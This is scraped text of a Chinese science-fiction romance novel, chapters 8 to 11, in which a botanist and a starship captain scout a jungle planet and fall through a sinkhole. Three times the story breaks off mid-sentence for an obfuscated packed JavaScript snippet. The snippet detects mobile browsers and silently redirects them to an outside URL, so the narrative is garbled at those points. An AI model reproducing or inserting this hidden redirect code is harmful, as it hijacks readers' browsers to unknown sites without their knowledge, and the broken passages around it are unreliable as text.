看到北辰星环扫来的眼神,邵欢赶忙补充解释了一番:“我不是说你做错了,或者为他们找理由,我只是想说,你终究姓北辰,你们终究是一家人。” “身为家主,你的母亲,总有更多的需要承担的事情。你无法完全否认,她是爱你的。正是因为爱你,正是因为她是你的母亲,所以她才要首先考虑你的兄姊们,她想要公平一些。” 所谓家族,所谓家人。 类似的话,邵欢其实说过多次,每一次北辰星环都截断了她的话头。 可这次并没有。 融入一片黑暗之中的北辰星环沉默了许久,终于缓缓抬起了头。 “小欢,你说的都对,我其实也都明白。所以,我如她、他们所愿,远离北极星,远离那一切。” “我做的不够好吗?” 邵欢看着北辰星环被舷窗外的深空模糊黯淡了的剔透眸子与银亮长发,只觉得一颗心也被揪了起来。她不敢发出声音,她屏住了呼吸,惟恐震碎这如琉璃般的脆弱。 “你没错。” 谁都没错,只是这个死局好像真的太难解开了。 “好了,别说这些有的没的了,小欢,说说你的研究进展吧,有遇到什么问题吗?我和你说,我在星舰田园遇到了一个小机器人,它给了我模拟环境参数设定方案,我马上就传给你,我有些感悟……” 北辰星环一下子换了一副面孔,又恢复了往日的模样。即便她现在叨叨的是邵欢总有些心慌的“实验”与“工作”,可邵欢只觉得欢喜、只觉得松了一口气。 邵欢笑了起来,心底却终究有些苦涩。 邵欢的回复让北辰星环还算满意,这次行动估计不用耗费太长的时间,对于课题研究方面,她暂时放下了心。 至于北辰家……罢了,也没什么好惦念的……她真不想再想这些。 北辰星环刚想关闭光脑,扫过通讯联系人一栏时却发现“姚定坤”那一行有个闪烁的省略号图标——这是“输入中”的标记。 北辰星环有些意外,点开“姚定坤”的通讯界面,果然有硕大的“对方正在输入中……”的提示。 如此也就罢了,偏这一行提示时现时隐,说明某人正在不停输入又删去。 令人不由失笑。 北辰星环几乎都能想象那人微蹙眉头仔细斟酌的样子,双目微敛,散尽四月含春的清池的涟漪。 罢了,看不得别人这般纠结。 北辰星环点击输入框,十指翻动,然后无甚犹豫地点击了“发送”键。 “姚舰长,希望明日行动顺利,请多关照。” 北辰星环一直盯着通讯界面,没过多久,光脑光屏上就出现了对方的回讯—— “一定顺利。” 这次,他终于不再犹豫了。 8. 出发 联邦历310年4月6日,标准时晨八时四十五分。 北辰星环适当提前了些时间来到行动出发的停机坪,此时参与行动的指挥、单兵、机械师、科学官们都已列队,整装待发,一眼望去浩浩荡荡的。 队列之齐整,士气之高涨,令北辰星环叹为观止。 北辰星环不知道自己该站哪儿,但是她知道一般的规矩——此时找姚舰长最为合适。北辰星环略一寻觅,轻轻松松就找到了姚舰长。他身后有一支二十余人的队伍,这大概就是坐镇大本营的队伍。 而其中竟还有北辰星环的几个熟人。 北辰星环走上前去,伊莎贝拉·贝曼便不痛不痒地来了句:“北辰主任您可终于来了。” 这不也没迟到嘛。 当然不得不说拓荒军果然名不虚传,在这几年间的发展实在太快了,这些官兵们一个个都抢着赶着执行任务。 姜启乾对北辰星环优雅地颔首示意,目光中是妥帖的善意如水。 北辰星环目光掠过与她眼神略一接触的凌鹤·布鲁纳,向某个被凌鹤挡住的人影望去。 那人从凌鹤背后探出了一个毛茸茸的小脑瓜,圆滚滚的眼睛终于望见了北辰星环。 “啊!环环姐啊!真的是你啊,环环姐!” 然后他收回了自己迈出队列的腿,捂住了自己的嘴,此刻他终于记起了自己是一位拓荒军少尉军官,正与舰长一齐列队,只好与北辰星环挤眉弄眼一番。 “晏南天。”姚舰长轻叱了一声那大声喧哗的小子。 北辰星环有些无奈地摇了摇头,在姚舰长的澄碧目光之下走到了晏南天身侧。 “晏子啊,你就不能小点声,你和贝曼中尉一样小声嘀咕不就行了,喊那么大声,你真是怕传不遍这停机坪啊。” 北辰星环的声音不算太轻,伊莎贝拉·贝曼自然也能听见。至于她作何感想,北辰星环就不关心了。 晏南天小心翼翼瞥了眼身前的姚舰长,掐着嗓子近乎气声地说道:“环环姐,我听说有位北辰主任来了,但你们家‘北辰主任’不是就你一个,我也没来得及确认——当然,这不是关键,我真的是想来找你玩的啊!但是、但是这两天我一直在值班值班……昏天暗地……环环姐,你千万别怪我……” 北辰星环微微垂首看了看晏南天可怜巴巴的样子,和他眼下那些许的青色,表示理解。这小晏子虽然咋咋呼呼也不怎么靠谱,这么多年都改不掉,但她就是宠他。北辰星环当然没那么热爱工作,工作适度才好。 想到这她又抬头望向姚舰长的背影,这姚舰长是不是剥削下属啊,晏南天都这样了还让他随队行动? 在他眼皮子底下卖惨,姚舰长哪能忍。他轻咳了一声,北辰星环便乖乖挪到了他的身边。 与凌鹤侧肩而过的刹那,北辰星环收到了凌鹤递来的一个小纸团。她手下快速动作,面上却若无其事,只径直向前。 “姚舰长。” 姚舰长矜持地略一点头,给了她半个注视,然后就用那双眸子凌厉又肃然地扫视全场官兵,朗声道:“各位同袍,我们马上就要降落‘碧垣’异星开展侦察行动了,这是一颗异兽异植密布的高危险等级异星,请大家切勿贪功冒进,小心为上。” 与姚舰长一同站在前列的北辰星环微微侧首瞥了眼身旁人,没想到他不是个只认任务、只识军功的,快要行动的当口不鼓舞士气,竟反而劝人谨慎。 “今晨收到前哨官兵急讯,那不知名异植一夜之间消失无踪,恐有变数,故我决定调整行动计划,现限期三个标准日,时间一到无论如何各队均要撤离,不得拖延。期间‘齐物’会持续发射低剂量的威慑信号,尽量保证各位安全,但也要速战速决。” 姚舰长边说边将目光扫向身侧另一人,“请大家以任务为重,不要浪费时间精力干旁的事情。” 列队的各行动小队官兵们都并靴立正,整齐地高喊“是!” 那气势如虹,令人惊叹。 姚舰长颇有威势地伸出双手一压,“此外,我决定新设立一行动小队,我亲自带领,由凌鹤·布鲁纳、贺兰、伊莎贝拉·贝曼、晏南天和中央科学院北辰星环主任组成。” 这句话便有些轰动了。轰动不在于姚舰长要亲自侦察,而在于他点名北辰星环同队随行。 北辰星环面前的官兵们不敢交头接耳但仍用目光表示了他们的惊讶与疑惑。虽然只有片刻,虽然他们对舰长的信任最终压下了一切,可北辰星环还是感觉到了。 北辰星环不认识这位名唤贺兰的官兵,但她猜测是身经百战的单兵或机械师,唯独她一人,是一个连军事训练都没有接受过的平民。 姚舰长既然已经把这次行动说得如此凶险,还硬要带上她这么个需要处处保护的累赘来分散注意力吗? 不是他说“以任务为重,不要浪费时间精力干旁的事情”吗? 北辰星环给了姚舰长一个略带疑惑的眼神,后者却无视了她,只最后说道:“时间到了,各队出发!” 大概是因为行动急迫,这次乘坐登陆艇的体验就没有那么舒适了。 北辰星环尽力抵挡有五六个重力加速度的冲击压迫,她觉得自己的胸腹好像被一整个星球撞击,五脏六腑通通碾压移位,要不是她竭力咬紧牙关,怕某些血渣碎肉都要从口咽喷涌而出了。 舷窗外一片通红火花,北辰星环再次重重撞上椅背,此时安全带的束缚反而更添几分苦痛。 北辰星环再也忍不住,倒吸了口冷气。好不容易憋住的一腔忍耐,也终于泄气。 北辰星环觉得自己真的快要丧失意识了,她最后的一个还算清晰的念头是——没想到有一天,我也会晕星舰。 一片天旋地转的昏黑混沌之中,有一个坚定的声音给了北辰星环最后一丝坚持的力量。 他说:“快了,再坚持一下。” 快是快,不过是一刻钟的折磨,然而对北辰星环来说如同一年——不,一辈子。 北辰星环瘫在座椅上连解安全带的气力都无,还是凌鹤前来将她从一滩烂肉的状态解救出来的。 “贺兰舰艇驾驶技术太差,姚定坤也是个不做人的。”凌鹤扶起她时声音不大不小地公然吐槽。 站在舱门口的姚舰长侧身回望,像是在关心北辰星环,又像是在等单兵凌鹤上前守备。 凌鹤恪尽职守,且此时与北辰星环“不熟”,她自然将瘫在她身上的北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376726|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰星环传给了一旁的晏南天,然后向舱门处走去。 伊莎贝拉·贝曼站在舰门旁看着北辰星环这模样,冷笑着:“果然是个累赘啊……” 晏南天这细胳膊细腿的,差点带着北辰星环一起摔倒,好不容易才强撑住了。 忍着翻滚的恶心感的北辰星环歪着头一看,晏南天除了憋着劲导致脸有点红之外,竟没有明显的不适? 北辰星环此时说不出话来,不然她真想叹一句:“小晏子你真的长进了,拓荒军真是能磨砺人。” 而她,可能真的是个累赘……但这也不能怪她啊!她就是个柔弱的研究员啊! 谁叫这姚定坤一定要带她一起啊! 北辰星环这样想着就带着些哀怨地望向了罪魁祸首姚舰长。 那姚舰长却转回了身,舱门也在此刻开启。绿油油的异星世界争先恐后地挤入了这一隅之地。 只是他那眼神却有些令人读不懂的沉重,藏在了叶脉之间的阴影中。 就好像……北辰星环在历史长廊的那一瞥一般。 拓荒军确实效率极高。 “累赘”北辰星环正躺在这几位临时队员们赶工而成的临时营地帐篷中,而他们现在仍在继续干活。 即便是三日行动,也需要一个临时营地。可惜北辰星环是帮不上什么忙了…… 歇息了会儿,她感觉自己终于好受了些,便从行军床上坐起,动作有些迟缓地穿上床边的那双军靴。 掀开帐篷的门帘,她首先看到的是满目的绿意。 这真是一颗郁郁葱葱的星球,深深浅浅的浓烈纯粹颜色吵吵闹闹地遮天蔽日。 贝曼说过这颗异星的空气可供直接呼吸,无需防护面罩。北辰星环便深吸了一口这荡漾着绿意的新鲜空气。 她一塌糊涂的肺叶终于得到了些滋润。 “环环姐,你怎么起来了啊,不再歇歇?”晏南天丢了手中的帐篷杆子,凑了上来。 北辰星环摆了摆手。 好歹是玩到大的发小,晏南天一下子就明白了北辰星环的意思,虚扶着她在营地中间的无烟炉边坐下。 然后他特意朝着四面八方喊着:“知道你想尽快开始工作,但现在没需要你的地方,你先坐会儿,喝点盐糖水。” 说完他还真的塞给北辰星环一杯水,给她抛了个媚眼,就又去继续工作了。 北辰星环喝了几口水,觉得自己就像吸满了水的海绵一样活了过来。 她望了望四周无人,便将手中的小纸团极快地丢入炉火中,看着那火舌一点点吞噬白纸,只余焦黑的灰烬。 她这才长舒了一口气。 “舰长,您现在就要去侦察吗?应该先让布鲁纳中尉与贺少尉去探查一番的。”伊莎贝拉·贝曼追着姚舰长来到营地中心。 姚舰长瞥过北辰星环后,对着其他聚到营地中心的队员们说:“时间紧、任务重,全队两两为搭档,都要出发去侦察。” 几人相互对望,大家的目光最后却汇聚在了捧着水杯的北辰星环身上。 是了,她是个累赘。北辰星环眨了眨眼。 凌鹤刚想认领这个苦差事,姚舰长却淡淡开口:“北辰主任与我同行。” 9. 碧垣 “不行,她没经过军事训练,”伊莎贝拉·贝曼想也没想就直接提出异议,然后她伸手指向凌鹤,接着说,“布鲁纳中尉实力超群,定能护着她的同时完美完成任务。” 伊莎贝拉·贝曼的语气很真挚,话语也很有道理。只不过北辰星环真没想到她连舰长都敢挑战,有够刚的,无差别攻击啊。 “贝曼中尉,你是在质疑我的能力?”姚舰长冷冷吐出几个字。 要不然说伊莎贝拉·贝曼够刚直吧,她硬着头皮继续劝道:“不是说您不行,是……哎……这个机甲操纵技术、徒手搏斗、武械操作、射击技术……您……想和漆雕准将的高徒布鲁纳中尉比吗?” “噗嗤。” 北辰星环没忍住笑了出声,看几人望来,她假惺惺地正了颜色。 “好了,就这么定了。北辰与我,布鲁纳与晏南天,贝曼与贺兰,各自行动。” 伊莎贝拉·贝曼好像还想说什么,贺兰不停地拉扯着她的衣角,她才终于把话都咽进了肚子里。 姚舰长站到了北辰星环的身边,将她整个笼进了他的阴影之中。 北辰星环却只看着某个方位微微愣神,唤出机甲飞快消失的凌鹤在转身离开之前给她递了一个若有所指的眼神。 “走吧。”姚舰长垂首轻唤。 “‘走’吗?”北辰星环将语气重点放在“走”字上。 姚舰长瞥了眼她方才凝视的方位,终于明白了她的意思,带着些许难得的笑意,解释了起来。 “你还想操纵机甲吗?对,走,双脚走。布鲁纳和晏南天乘机甲是为了从高空通过各类勘探仪器进行侦察,树冠会遮蔽很多东西,我们则在地面侦察。” “哦哦,”北辰星环看了眼自己脚上这双便于跋涉的军靴,抬头又问道,“那我具体需要做什么?” 姚舰长只凝望着她,“用你的眼睛看,判断这些植物有没有异样。” 这活儿她好像还能干,北辰星环点着头站起身来,“走!” 联邦疆域辽阔,星球众多,并不是每一颗星球都能有除了标准编号之外的正式名称的。 而这颗异星能被官方冠以“碧垣”之名,即是因为这是一个巨大的植物宝库。 这颗异星位于东区星域亢宿稀星带KXHA-012黄矮星恒星系,是一颗岩基固体行星,天文位置绝佳,与单一恒星KXHA-012黄矮星的距离正好,温度适宜,且具有20.1°的自转角,异星直径、重力情况与首都地球星相仿,自转周期约为首都星的2/3,公转周期约为首都星的3/4,有两颗距离正好的卫星抵消部分引力,纯水海洋面积占星球表面积的约70.3%,地壳活动稳定,位于生物种类爆发的丛生纪,气候多样性与生物多样性俱佳,人类在联邦星域内乃至大迁徙途中发现并登记在数据库中本演进阶段的近七成的异植都能在这里被寻觅到。 他们的行动小队降落在这颗异星最大的大洲的亚热带地区,这是距离那未知名异植的可能的扩散中心最近的一处着陆点。 北辰星环原本还不能深刻地理解“碧垣”的含义,从“齐物”降落之时她因反应剧烈未能仔细欣赏这颗星球的宏观全貌。此时此刻她站在这个高台地上极目眺望,才终于得窥这“碧绿之城”之浩瀚。 远处的一个个不那么高的山峰如同笋尖,连绵不绝。而所有的山峰连着间隔的平原都被密密麻麻的绿色覆盖,几乎没有一点裸露的灰黄土壤颜色。 天空中有成串的飞行异兽划过,林间也有窸窸窣窣的动静。 确是碧绿,确是生机盎然。 也确是很难侦察勘探啊…… 北辰星环紧紧跟在姚舰长的身后,他们艰难地在这草木过于繁茂的林间前行。 本着勘探行动要尽量减少对星球生态环境的破坏这一拓荒军最高准则,他们并没有一路伐木伐枝开道,而是尽量不触碰任何植物,连抬脚后的落脚点都要小心选取,避免踩踏某些珍贵却过于柔弱的植物。 两人并未有过多交谈,只认真地行走观察。 四周有风吹鸟鸣,间杂着异兽的悠远鸣叫,各种奇形怪状的异植满布,可北辰星环并不觉得可怖,她甚至觉得这是最美不胜收的地方。 一路行来,她瞥见了好几种平日里只在模拟环境室里乃至异植鉴上见过的珍稀异植。 真不愧是植物宝库…… 在北辰星环又又又一次带着期盼又惊讶的眼神望向某一株植物之后,姚舰长忽然停下了步子。 并未停步的北辰星环差点就撞到了这人身上。 “有什么值得关注的异植吗?”姚舰长微微侧首问道。 他的态度过于和善,但北辰星环分得清轻重,“没有,只是普通的异植,没有异变迹象,与那‘息壤’也无关。” 她这次登陆异星不是来做学术研究考察的,这片大洲上可是蛰伏着某种具有极强繁殖、扩散能力的高危险性的未知名异植啊。 这是一个具有极强时限性的重要任务,她拎得清。 北辰星环把姚舰长的和善当作客套,可姚舰长也把她的诚恳当作拒人千里。 “很珍稀的异植吗?”姚舰长转过身甚是认真地望着北辰星环,“拓荒军有发现、记录、保护珍稀异植异兽的职责,这不因具体行动而改变。你尽可以观察,这耗费不了多少时间。” “真的吗?”北辰星环有一点心动,但她其实更忐忑,她的理智告诉她这绝不如姚定坤所说的那么简单。 换句话说,她觉得姚定坤有些双重标准了……怎么对她就有些……格外宽厚了呢? 可他是这样静静地凝视着她,那双往日凌厉的眼眸此刻敛尽了锋芒,只剩下一池子的真切澄澈。 “那我就看一眼,我们就登记一下,很快的,绝对不影响任务。” 北辰星环终于表达了自己的真实愿望,姚定坤只看着她点了点头。 北辰星环没错过他嘴角的那一抹笑意,如同这树冠间漏下的光柱,过于耀眼。 “这是苦夏草,唇形科异植,你看,典型的紫色轮伞花序密集组成了穗状花序,披针形茎叶,之前仅在‘永夏星’异星发现,没想到这里也有。” 北辰星环与姚定坤一起蹲在一颗仅十厘米高的有着紫色花穗的异植旁,姚定坤正将一个柱状的便携式勘探记录设备靠近这株异植。 “小心,它很脆弱的。这种异植和古地球植物夏枯草有亲缘关系,它的果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376727|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穗乃至全株可入药,比之夏枯草疗效更强数倍。” “苦夏之名主要来自于‘永夏星’,顾名思义,这是一颗永恒夏季的炎热星球,苦夏草需要熬过漫长艰难的暑夏季,才能在仅有几日的低温季结出果穗。” 我当然知道“永夏星”。姚定坤刚要将这句话脱口而出,忽然记起了什么便又吞了回去。 等待了五个呼吸,勘探记录设备的光屏上终于显示了“记录成功”,北辰星环立刻站了起来,还不往扯一把姚定坤。 “记录好了,走走走,不能浪费时间,赶快赶路。” 两人虽走走停停,但好在北辰星环很是麻利,便没有浪费什么时间,也没有耽搁寻觅可能存在的蛛丝马迹,更没有偏离原定的侦察路线。 可是遗憾的是,他们并没有找到所谓的类似“息壤”的未知名异植的任何痕迹,他们完全察觉不到这片区域曾被某种其他植物覆盖的可能性。 北辰星环与姚定坤从一小片有些倒伏折断痕迹的灌木丛中小心翼翼走出,再一次无功而返。 北辰星环注意到了灌木折断处的杂乱抓痕,而姚定坤找到了有着楔形齿痕的半颗红果子。 鉴定完毕,这是一群跳蹿的异兽导致的,红脸猴的概率更大。 “我觉得不太对,”北辰星环扶了扶镜框,皱起了眉,“如果真的有一种具有能覆盖这整个大洲的强扩散性的植物存在,那必会掠夺其他植物的养分。这是物种竞争,你死我活。” “可是这里、这里还有那里,这些植物没有任何枯败的迹象,姚舰长,你确定这些区域都曾被那个未知名异植覆盖或者说波及吗?” 姚定坤没有任何犹豫地点头,“我确定,但不是肉眼确认,是靠生物能检测仪发现的,这片区域都曾经有异常扩散的过度强大的生物能波动出现。当然,已排除异兽活动的可能。” “您方才一路的检测结果呢?”北辰星环扫了眼姚定坤身上带着的大大小小粗粗细细的便携勘探仪器设备。 姚定坤直接单指一滑自己的光脑,将一堆数据投放在半空,展示给北辰星环。 “具体数值需要科学官分析确认,但至少我看得懂生物能检测仪数据,”姚定坤放大了某段波形数据,“这里未检测到过强的生物能。” 北辰星环摸着下巴凑上去仔细看了看某些原始数据,若有所思地点了点头。 “如果只是异常生物能波动的话……那可能说得通……” 姚定坤惟恐打扰她的思考,轻声问了句:“您有什么想法?” 北辰星环思索着什么,连肢体动作都多了起来,“异植一般并不会出现剧烈的生物能波动,异植的基准生物能本就很低微,而且它们多很稳定,所以寻常情况下,我们是靠生物能波动来识别异兽的活动的,这是异兽行为学的基础之一。” 姚定坤表示认同地点头。 “但是异植当然也可以出现生物能波动。异兽靠族群数量来增强个体的微弱生物能,而植物因为其根系、匍匐茎或叶冠的扩展延伸属性,也可以累积生物能并扩大生物能的范围。” 姚定坤眼中那潭碧色如同泛起晨光般闪烁了起来。 “我明白您的意思了——” 10. 陷落 北辰星环停下了动作,她凝视着姚定坤的眼睛,一字一句地说:“之前观测到的可能是根茎,在这表层土壤之下蔓延的根茎。” “至于为什么没有影响到这些植物……或许是因为那未知名异植根系过于表浅,也可能是太过深了,未波及这些原本的植物的根系深度。或许是因为那未知名异植的核心本体的能量过于巨大,这更近乎于一种释放能量的行为,而不是摄取。” “当然还有其他更多的可能,我想,我需要将现在的数据与之前侦察到的数据比较,才能得出更精确的猜测或者判断。” 北辰星环洋洋洒洒说了一大堆的话,尽管只是猜测没有实证,但她的脸仍因兴奋而显得有些红。 姚定坤定定望着神采奕奕的北辰星环,她银色的秀发被林间投下的恒星光芒洒满,她剔透的蓝色眼眸倒映着整个无瑕晴空,这一切乃至她整个人都闪着过于璀璨的辉光。 他愣住了,然后用一种他自己也没有意识到的温柔语气说道:“好,我们这就回营地,我把所有数据都给你,你可以仔细研究。” 于是两人迈上回程路,姚定坤按着耳侧通讯器与其他队员简要通报了一下北辰星环的推测与修正后的侦察要点。 若是表层土壤中曾有其他根系存在,即便现在抽离了,还是能有办法检测的——譬如不可能撤得那么干净,总会有断落的根须,土壤中总会有些痕迹。 但这些痕迹就太过细微了,随便乱翻乱找是不切实际的,既浪费时间,又破坏环境。还好拓荒军中有其他的特定设备,可通过声波等探查地面下的情况。 这仍是个大工程。 “不过,姚舰长,你曾说前哨队员取过标本,不是在这片核心区域采集的吗?” “是,这片区域是生物能最丰富所在,东区边防军的前哨队员们不敢贸然进入,他们只在较边缘位置发现了这未知名异植的藤蔓状茎叶,尝试获取标本,却未能成功。” 北辰星环记得姚定坤在行动前报告会上展示过前哨队员拍摄的这未知名异植的影像资料,那其中未知名异植的墨绿色的足有臂粗的藤蔓缠绕覆盖了视野中的其他异植,取代了那些衰败的异植的空间。 那些边缘位置确实曾是这般你死我活的景象,以肉眼都能辨认,这样看来扩散中心区域与扩散周边位置的情况还并不相同。 既然谈到采集标本失败的事情,北辰星环顺势再一次发问:“为什么说未能成功呢?这是机密吗?您能具体说说吗?” 姚定坤微微垂眸似在斟酌,片刻后才终于答道:“第一次采集到的标本运到拓荒军东区基地后,一打开标本箱,就化为了灰。第二次众人吸取教训,快速运抵‘碧垣’的大本营,科学官打开标本箱时也出现了同样的状况。第三次,他们打算就地采集就地检验,未曾想这一次那部分标本离开本体便就地湮灭。第四次,只要轻触,那一节藤蔓便灰飞烟灭。” “最后一次,直接彻底失去踪迹。” 北辰星环渐渐皱起了眉,姚定坤抬眸回望她,下了结论:“这种异植具有学习并‘进化’的能力,这种现象也像是一种自毁保护机制。” 这就更像人造物了……但既有自毁装置存在,“那些人”必定是要隐瞒什么秘密,而如果能知道自毁是怎样达成、怎样诱发的,如果能掌握“扣动扳机”的方法,或许联邦也不必担心“那些人”未来可能的生物袭击了…… 北辰星环听懂了他的言外之意,顿时觉得这次行动果然没那么简单。 “那些灰?” 姚定坤摇了摇头,“检验了,大部分为碳元素,就是快速脱水碳化形成的,没有其他可疑元素。当然,碳化过程的热量释放会毁灭某些可能存在的线索。” 既然如此,怎么获取标本还真是一个问题了呢…… “科学官们怎么看?有提供操作方案吗?” “有,科学官们研制了几种采集设备,包括正电子牢笼等等,但这异植销声匿迹了,无法实践验证可行性。我们先要找到这个未知名异植。” 连正电子牢笼都想到了吗?北辰星环有些诧异,这可是能用以捕获宇宙射线的装置呢,真有些杀鸡焉用牛刀了。 “那确实还是要深入中心,前哨队员就一次都没有降临过那个推测是扩散中心的地方吗?” 这次姚定坤又沉默了许久,北辰星环猜测以她的保密级别恐怕不能知道这些情报,她都放弃追问了,姚定坤最终还是开口了。 “他们去过,他们跟着藤蔓的走向深入过,以几位同袍重伤的代价终于进入了那个中心地带,可是……只见一片原始森林,没有任何藤蔓痕迹,线索完全断了。” “重伤?”北辰星环听这两字顿生警惕,“被这未知名异植吗?” 此时两人正走到一片树冠尤为茂密、遮蔽整片天空的林地,姚定坤微微抬头望着树荫,身上墨绿迷彩的作战服阴沉沉得发黑。 “是,还有异兽,狂化的异兽。” 难怪了,难怪“齐物”要发射威慑信号了,就是为了抑制被原始射线信号狂化的异兽啊!这其中甚至可能存在“那些人”的人为干预影响。 但这还不是最令人震惊的,据北辰星环所知,瑾军长与中央科学院宇宙射线研究部的邵主任研发出这几种宇宙射线信号变体后,人民议会授意军防总部很迅速地就将其部署到了人类定居星、异星等的卫星链中。 也就是说,正常情况下,这些被严密监控的高危险等级异星的异兽是不可能再被原始射线信号狂化诱导的。 所以,要么是卫星链被破坏侵入,要么是“那些人”发现了一种能绕过这个预防机制的比原始射线更强大的武器。 如果是后者的话……北辰星环瞥了眼姚定坤的背影,她决定把一切都烂在肚子里。这绝对会扰乱社会安定的,她要是敢多说一句,绝对会被第九军抓起来的。 北辰星环兀自思索着有的没的,紧跟着姚定坤的脚步。 忽然间,伴随着一阵惊天动地的轰响,脚下地层开始连绵颤动。 北辰星环以为自己的前庭感受器出问题了,抬头一看,只见林间枝叶不断颤动,无数类鸟飞行异兽直贯天际成群飞离。 她再一垂首,脚下层叠落叶簌簌而动,连那些不算太小的石块都在乱颤。 地、地震了? 不应该啊,她看过科学官们做的异星介绍文档,这里的地壳活动是很稳定的啊,他们目前所处之处也不在可能的地震带上啊。 姚定坤伸直左手将北辰星环护在身后,他四望,似在寻觅那一开始的轰响的位置。 北辰星环原地不动,却也开始东张西望。 那声如同雷鸣的沉重轰响……似乎是从靠近大本营的方向传来的……北辰星环瞥过目光直接越过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376728|168383||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大本营方位的姚定坤,她不相信他听不出来。 至于那轰然巨响是由什么发出的…… 穿透记忆的刺骨寒风带着轰隆的足蹄震响劈头盖面而来,北辰星环屏住了呼吸。下一秒,四周摇晃的高大树木却好似倾倒,一朵无比艳丽的巨大花盘在她眼前盛开,重重血红花瓣将她吞噬。 “地震了,”姚定坤回首对脸色煞白的北辰星环说,“这个空地还算安全,不要动。” 北辰星环终于从窒息的往昔深渊中冲出,她弓起身体大口大口喘着气。 安全?不是——开战了吗? 姚定坤肯定想不到,她其实熟悉这种轰响。 这是大口径的电离炮武器击中目标的声音,这种大口径武器一般用在皮糙肉厚的高危险性庞大异兽身上。 弓着身的北辰星环忽昂起头,注视着身前这好像能用昂扬挺拔身姿为她撑起一切的军官,眼底却滑过些晦暗不明。 地动好像慢慢减弱了。 豆大的汗水从北辰星环脸颊涔涔滑落,她让自己尽可能快地从那种噩梦般的阴霾中缓过来,梳理好自己的气息。 她的状态有些异样,姚定坤带着些疑惑地伸出手想要轻拍她的脊背。 那只手却未落在背上,而滑落在她的腰际。 北辰星环还没意识到发生了什么,就昏天暗地被姚定坤带着在这林间地上打了好几个滚。她什么也看不见,因为有一只手将她的头压下护紧。 然后那双带着些温度的手骤然抽离,她只看见那人一蹬脚就冲了出去。 却是将那正气势汹汹站在他们原本的位置上的四角四目类犀牛异兽引了开去,他手上电/击/枪的蓝紫光弧在那如同小山的灰白异兽身上激起了一些涟漪般的颤抖。 可根本无法伤及它分毫。 这是四角灰石拟犀,一身厚皮如同石头般坚硬,属于高危险性异兽,具有非常强的报复心和攻击性。灰石拟犀几乎没有天敌,死亡率较高主要来自于同族相残,是那种动辄就咬死其他同类族群全部老老幼幼的凶狠异兽。 看着那异兽额上四个闪着寒光的巨大犄角,和那四只充血通红的疯狂眼睛,北辰星环觉得她还是别添乱了,尽量缩减自己的存在感。 姚定坤的攻击如同隔靴搔痒,但也足够激怒这被轰响与地动惊扰的拟犀巨兽。它疯狂地用六肢蹄足跺地狂奔,用头上的角冲击姚定坤。 姚定坤反应迅速,腾转挪移,借着树枝的韧性当空一跃,才堪堪避开那巨兽的猛烈冲撞。 这一连串动作太过惊险,北辰星环吊起的一口气却仍不敢落下。 他为什么不用机甲呢?打不过还不能逃吗?为何要在此纠缠? 北辰星环还来不及想通脑中闪现的疑惑,巨兽肆意撞击之下四周树木又开始剧烈晃动,她都能看见这些树开始倾斜了! 而这地也开始颤动,越来越剧烈。 蹲在树旁的北辰星环都站不稳了,整个世界骤然倾覆。 她脚下忽然失重,一切都在坠落,耳旁碎石轰鸣之中她什么也抓不住。 她想爬起身来,却只被砂石磨砺,天旋地转。 完了,地陷了。 人还真是难以抵抗自然的暴怒呢。 北辰星环失去意识之前最后想的是,凌鹤给她的那张纸条上写着—— “不要尽信姚定坤。” 11. 岩溶 “滴答。” “滴答。” 有什么湿润的液体滴在了她脸上。 脑中混沌、身上酸痛的北辰星环终于转醒。她睁开了眼,却见一片漆黑,她一时什么都看不清,只能感觉到身上到处都火辣辣的疼,但她身下似乎并不怎么硌得慌,好像是躺在有些弹性的垫子状物上。 “滴答。” 又有一滴液体滴在了她的额头。 北辰星环艰难地抬起自己的手,摸了一下。 不粘,不滑。 再闻一下。 无臭。 应该就是纯水吧。 她努力适应黑暗,想看清头顶是什么,却只看见自己右手手腕上那道红痕。 太过扎眼,这样一看便愈加觉得手腕连带着整个右臂乃至右肩都无比酸疼。 这是被谁紧紧钳住才会出现的痕迹吧? 想到这,某段混乱记忆就如同开闸的洪水般奔涌而出。 崩塌是发生在一瞬间的,北辰星环根本没能调整好自己的姿态,直接合着土块碎石一起轰然下坠。 彻底陷入地表之下的刹那,北辰星环那只徒劳着试图抓住什么的右手突然被一只横里探出的手钳握住了。 北辰星环整个右臂被自身重力狠狠一扯,疯狂砸落的石块给她施加了更多的力,北辰星环痛得攥紧了拳头。 她当然知道自己算不上轻,上头紧握着她的那个人终于从坑洞划出的一圈天中露出了脸。 那道碧色的目光直直地撞在了她身上,他焦急,他紧蹙的眉头间的沟壑太过幽深,他憋着一股劲,脸上脖颈上手上青筋毕现,那身作战服也绷得紧紧的。 